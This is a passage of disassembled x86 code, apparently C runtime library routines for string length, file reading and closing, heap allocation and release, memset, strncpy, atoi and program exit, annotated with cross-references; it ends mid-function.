loc_41B9E0:				; CODE XREF: sub_41B9C0+Aj
					; sub_41B9C0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B9E0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BA31
		test	ah, ah
		jz	short loc_41BA27
		test	eax, 0FF0000h
		jz	short loc_41BA1D
		test	eax, 0FF000000h
		jz	short loc_41BA13
		jmp	short loc_41B9E0
; ---------------------------------------------------------------------------


loc_41BA13:				; CODE XREF: sub_41B9C0+11j
					; sub_41B9C0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA1D:				; CODE XREF: sub_41B9C0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA27:				; CODE XREF: sub_41B9C0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA31:				; CODE XREF: sub_41B9C0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA3B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+5809p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41BA50
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA8A
; ---------------------------------------------------------------------------


loc_41BA50:				; CODE XREF: sub_41BA3B+Ej
		test	al, 83h
		jz	short loc_41BA88
		push	esi
		call	sub_41E42B
		push	esi
		mov	edi, eax
		call	sub_41E3C5
		push	dword ptr [esi+10h]
		call	sub_41E312
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA76
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA88
; ---------------------------------------------------------------------------


loc_41BA76:				; CODE XREF: sub_41BA3B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA88
		push	eax
		call	sub_41BA91
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41BA88:				; CODE XREF: sub_41BA3B+17j
					; sub_41BA3B+39j ...
		mov	eax, edi


loc_41BA8A:				; CODE XREF: sub_41BA3B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41BA3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA91	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A928+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41BAF7
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_41BABD
		push	esi
		call	sub_41E717
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BAE9
		push	eax
		call	sub_41E742
		pop	ecx
		pop	ecx
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BABD:				; CODE XREF: sub_41BA91+14j
		cmp	eax, 2
		jnz	short loc_41BAE8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 0Ch
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BAE8:				; CODE XREF: sub_41BA91+2Fj
					; sub_41BA91+44j
		push	esi


loc_41BAE9:				; CODE XREF: sub_41BA91+20j
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27B0000h


loc_41BAF7:				; CODE XREF: sub_41BA91+Aj
					; sub_41BA91+2Aj ...
		pop	esi
		leave
		retn
sub_41BA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAFA	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040FA8Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BB1E
		xor	eax, eax
		jmp	loc_41BBC7
; ---------------------------------------------------------------------------


loc_41BB1E:				; CODE XREF: sub_41BAFA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB31
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB31:				; CODE XREF: sub_41BAFA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB3A:				; CODE XREF: sub_41BAFA+C4j
		mov	ecx, [ebp+arg_0]


loc_41BB3D:				; CODE XREF: sub_41BAFA+35j
					; sub_41BAFA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB6F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BB6F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BB54
		mov	edi, eax


loc_41BB54:				; CODE XREF: sub_41BAFA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CD20
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BB6F:				; CODE XREF: sub_41BAFA+49j
					; sub_41BAFA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BBA2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BB85
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BB85:				; CODE XREF: sub_41BAFA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBCC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BBD2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BBA2:				; CODE XREF: sub_41BAFA+78j
		push	esi
		call	sub_41F8E3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BBD6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BBBA:				; CODE XREF: sub_41BAFA+73j
					; sub_41BAFA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BB3A
		mov	eax, [ebp+arg_8]


loc_41BBC7:				; CODE XREF: sub_41BAFA+1Fj
					; sub_41BAFA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BBCC:				; CODE XREF: sub_41BAFA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BBD6
; ---------------------------------------------------------------------------


loc_41BBD2:				; CODE XREF: sub_41BAFA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BBD6:				; CODE XREF: sub_41BAFA+B2j
					; sub_41BAFA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BBC7
sub_41BAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE2	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D9B3+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41BBFD
		push	[ebp+arg_4]
		call	sub_41BEB5
		pop	ecx
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BBFD:				; CODE XREF: sub_41BBE2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41BC12
		push	[ebp+arg_0]
		call	sub_41BA91
		pop	ecx
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BC12:				; CODE XREF: sub_41BBE2+20j
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	loc_41BD22


loc_41BC20:				; CODE XREF: sub_41BBE2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BCFE
		push	[ebp+arg_0]
		call	sub_41E717
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41BCD9
		cmp	esi, dword_4DD380
		ja	short loc_41BC92
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41EF20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC8E
		push	esi
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BC92
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC72
		mov	eax, esi


loc_41BC72:				; CODE XREF: sub_41BBE2+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41CD20
		push	ebx
		call	sub_41E717
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E742
		add	esp, 18h


loc_41BC8E:				; CODE XREF: sub_41BBE2+74j
		test	edi, edi
		jnz	short loc_41BCD5


loc_41BC92:				; CODE XREF: sub_41BBE2+62j
					; sub_41BBE2+81j
		test	esi, esi
		jnz	short loc_41BC99
		push	1
		pop	esi


loc_41BC99:				; CODE XREF: sub_41BBE2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BCD5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BCC1
		mov	eax, esi


loc_41BCC1:				; CODE XREF: sub_41BBE2+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41CD20
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E742
		add	esp, 14h


loc_41BCD5:				; CODE XREF: sub_41BBE2+AEj
					; sub_41BBE2+D0j
		test	ebx, ebx
		jnz	short loc_41BCFA


loc_41BCD9:				; CODE XREF: sub_41BBE2+56j
		test	esi, esi
		jnz	short loc_41BCE0
		push	1
		pop	esi


loc_41BCE0:				; CODE XREF: sub_41BBE2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2850000h
		mov	edi, eax


loc_41BCFA:				; CODE XREF: sub_41BBE2+F5j
		test	edi, edi
		jnz	short loc_41BD1B


loc_41BCFE:				; CODE XREF: sub_41BBE2+43j
		cmp	dword_4DBE48, 0
		jz	short loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BC20
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BD1B:				; CODE XREF: sub_41BBE2+11Aj
					; sub_41BBE2+123j ...
		mov	eax, edi
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BD22:				; CODE XREF: sub_41BBE2+38j
		cmp	eax, 2
		jnz	loc_41BE3D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BD3F
		test	esi, esi
		jbe	short loc_41BD3C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD3C:				; CODE XREF: sub_41BBE2+150j
		push	10h
		pop	esi


loc_41BD3F:				; CODE XREF: sub_41BBE2+14Cj
					; sub_41BBE2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BE1F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BE03
		cmp	esi, dword_43CE74
		jnb	short loc_41BDC7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F83A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BD8D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BDBF
; ---------------------------------------------------------------------------


loc_41BD8D:				; CODE XREF: sub_41BBE2+1A4j
		push	edi
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BDC7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDA6
		mov	eax, esi


loc_41BDA6:				; CODE XREF: sub_41BBE2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h


loc_41BDBF:				; CODE XREF: sub_41BBE2+1A9j
		test	edi, edi
		jnz	loc_41BD1B


loc_41BDC7:				; CODE XREF: sub_41BBE2+18Bj
					; sub_41BBE2+1B6j
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BE1F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDE8
		mov	eax, esi


loc_41BDE8:				; CODE XREF: sub_41BBE2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h
		jmp	short loc_41BE17
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BBE2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2850000h
		mov	edi, eax


loc_41BE17:				; CODE XREF: sub_41BBE2+21Fj
		test	edi, edi
		jnz	loc_41BD1B


loc_41BE1F:				; CODE XREF: sub_41BBE2+162j
					; sub_41BBE2+1F8j
		cmp	dword_4DBE48, 0
		jz	loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BD3F
		jmp	short loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BE3D:				; CODE XREF: sub_41BBE2+143j
					; sub_41BBE2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BE67
		test	esi, esi
		jnz	short loc_41BE4B
		push	1
		pop	esi


loc_41BE4B:				; CODE XREF: sub_41BBE2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2850000h
		test	eax, eax
		jnz	short loc_41BE7D


loc_41BE67:				; CODE XREF: sub_41BBE2+260j
		cmp	dword_4DBE48, 0
		jz	short loc_41BE7D
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BE3D


loc_41BE7B:				; CODE XREF: sub_41BBE2+2Bj
					; sub_41BBE2+134j ...
		xor	eax, eax


loc_41BE7D:				; CODE XREF: sub_41BBE2+16j
					; sub_41BBE2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE82	proc near		; CODE XREF: sub_41BEA2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FD3D
		test	eax, eax
		jnz	short loc_41BE8C
		retn
; ---------------------------------------------------------------------------


loc_41BE8C:				; CODE XREF: sub_41BE82+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41FBCD
		add	esp, 10h
		retn
sub_41BE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEA2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+57DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BE82
		add	esp, 0Ch
		retn
sub_41BEA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEB5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A928+63p ...

arg_0		= dword	ptr  4

		push	dword_4DBE48
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41BEB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC7	proc near		; CODE XREF: sub_41BEB5+Ap
					; sub_41D9A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BEF0


loc_41BECE:				; CODE XREF: sub_41BEC7+27j
		push	[esp+arg_0]
		call	sub_41BEF3
		test	eax, eax
		pop	ecx
		jnz	short locret_41BEF2
		cmp	[esp+arg_4], eax
		jz	short locret_41BEF2
		push	[esp+arg_0]
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BECE


loc_41BEF0:				; CODE XREF: sub_41BEC7+5j
		xor	eax, eax

locret_41BEF2:				; CODE XREF: sub_41BEC7+13j
					; sub_41BEC7+19j
		retn
sub_41BEC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF3	proc near		; CODE XREF: sub_41BEC7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DD388
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BF17
		cmp	esi, dword_4DD380
		ja	short loc_41BF49
		push	esi
		call	sub_41EA6B
		test	eax, eax
		pop	ecx
		jz	short loc_41BF49
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BF17:				; CODE XREF: sub_41BEF3+Dj
		cmp	eax, 2
		jnz	short loc_41BF49
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BF2C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BF2F
; ---------------------------------------------------------------------------


loc_41BF2C:				; CODE XREF: sub_41BEF3+2Fj
		push	10h
		pop	esi


loc_41BF2F:				; CODE XREF: sub_41BEF3+37j
		cmp	esi, dword_43CE74
		ja	short loc_41BF56
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BF65
		jmp	short loc_41BF56
; ---------------------------------------------------------------------------


loc_41BF49:				; CODE XREF: sub_41BEF3+15j
					; sub_41BEF3+20j ...
		test	esi, esi
		jnz	short loc_41BF50
		push	1
		pop	esi


loc_41BF50:				; CODE XREF: sub_41BEF3+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41BF56:				; CODE XREF: sub_41BEF3+42j
					; sub_41BEF3+54j
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27C0000h


loc_41BF65:				; CODE XREF: sub_41BEF3+52j
		pop	esi
		retn
sub_41BEF3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BFC3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BFB7
		neg	ecx
		and	ecx, 3
		jz	short loc_41BF99
		sub	edx, ecx


loc_41BF93:				; CODE XREF: sub_41BF70+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BF93


loc_41BF99:				; CODE XREF: sub_41BF70+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BFB7
		rep stosd
		test	edx, edx
		jz	short loc_41BFBD


loc_41BFB7:				; CODE XREF: sub_41BF70+18j
					; sub_41BF70+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BFB7


loc_41BFBD:				; CODE XREF: sub_41BF70+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BFC3:				; CODE XREF: sub_41BF70+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFD0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41C053
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BFF4
		shr	ecx, 2
		jnz	short loc_41C061
		jmp	short loc_41C015
; ---------------------------------------------------------------------------


loc_41BFF4:				; CODE XREF: sub_41BFD0+1Bj
					; sub_41BFD0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41C022
		test	al, al
		jz	short loc_41C02A
		test	esi, 3
		jnz	short loc_41BFF4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C061


loc_41C010:				; CODE XREF: sub_41BFD0+8Fj
		and	ebx, 3
		jz	short loc_41C022


loc_41C015:				; CODE XREF: sub_41BFD0+22j
					; sub_41BFD0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41C04E
		dec	ebx
		jnz	short loc_41C015


loc_41C022:				; CODE XREF: sub_41BFD0+2Bj
					; sub_41BFD0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C02A:				; CODE XREF: sub_41BFD0+2Fj
		test	edi, 3
		jz	short loc_41C044


loc_41C032:				; CODE XREF: sub_41BFD0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41C0C6
		test	edi, 3
		jnz	short loc_41C032


loc_41C044:				; CODE XREF: sub_41BFD0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C0B7


loc_41C04B:				; CODE XREF: sub_41BFD0+7Fj
					; sub_41BFD0+F4j
		mov	[edi], al
		inc	edi


loc_41C04E:				; CODE XREF: sub_41BFD0+4Dj
		dec	ebx
		jnz	short loc_41C04B
		pop	ebx
		pop	esi


loc_41C053:				; CODE XREF: sub_41BFD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C059:				; CODE XREF: sub_41BFD0+A9j
					; sub_41BFD0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C010


loc_41C061:				; CODE XREF: sub_41BFD0+20j
					; sub_41BFD0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C059
		test	dl, dl
		jz	short loc_41C0AB
		test	dh, dh
		jz	short loc_41C0A1
		test	edx, 0FF0000h
		jz	short loc_41C097
		test	edx, 0FF000000h
		jnz	short loc_41C059
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C097:				; CODE XREF: sub_41BFD0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0A1:				; CODE XREF: sub_41BFD0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0AB:				; CODE XREF: sub_41BFD0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41C0AF:				; CODE XREF: sub_41BFD0+C5j
					; sub_41BFD0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41C0C1


loc_41C0B7:				; CODE XREF: sub_41BFD0+79j
		xor	eax, eax


loc_41C0B9:				; CODE XREF: sub_41BFD0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41C0B9


loc_41C0C1:				; CODE XREF: sub_41BFD0+E5j
		and	ebx, 3
		jnz	short loc_41C04B


loc_41C0C6:				; CODE XREF: sub_41BFD0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BFD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0CE	proc near		; CODE XREF: sub_41C159+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41C0D6:				; CODE XREF: sub_41C0CE+34j
		cmp	dword_43D084, 1
		jle	short loc_41C0EE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C0FD
; ---------------------------------------------------------------------------


loc_41C0EE:				; CODE XREF: sub_41C0CE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C0FD:				; CODE XREF: sub_41C0CE+1Ej
		test	eax, eax
		jz	short loc_41C104
		inc	edi
		jmp	short loc_41C0D6
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41C0CE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41C114
		cmp	esi, 2Bh
		jnz	short loc_41C118


loc_41C114:				; CODE XREF: sub_41C0CE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41C118:				; CODE XREF: sub_41C0CE+44j
		xor	ebx, ebx


loc_41C11A:				; CODE XREF: sub_41C0CE+7Bj
		cmp	dword_43D084, 1
		jle	short loc_41C12F
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C13A
; ---------------------------------------------------------------------------


loc_41C12F:				; CODE XREF: sub_41C0CE+53j
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C13A:				; CODE XREF: sub_41C0CE+5Fj
		test	eax, eax
		jz	short loc_41C14B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41C11A
; ---------------------------------------------------------------------------


loc_41C14B:				; CODE XREF: sub_41C0CE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41C154
		neg	eax


loc_41C154:				; CODE XREF: sub_41C0CE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C0CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+717p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C0CE
		pop	ecx
		retn
sub_41C159	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43AE1C
		test	eax, eax
		jz	short loc_41C16F
		call	eax ; sub_41D124


loc_41C16F:				; CODE XREF: ___:0041C16Bj
		push	offset dword_429028
		push	offset dword_429014
		call	sub_41C24C
		push	offset dword_429010
		push	offset dword_429000
		call	sub_41C24C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41C1B3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C1A2	proc near		; CODE XREF: sub_41E2C9+1Cp
					; sub_422DFC+21E6p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41C1B3
		add	esp, 0Ch
		retn
sub_41C1A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B3	proc near		; CODE XREF: ___:0041C199p
					; sub_41C1A2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DBE24, edi
		jnz	short loc_41C1D0
		push	[esp+4+arg_0]
		nop
		call	near ptr 2720625h
		push	eax
		call	near ptr 2710A8Eh
		nop


loc_41C1D0:				; CODE XREF: sub_41C1B3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DBE20, edi
		mov	byte_4DBE1C, bl
		jnz	short loc_41C224
		mov	eax, dword_4DD39C
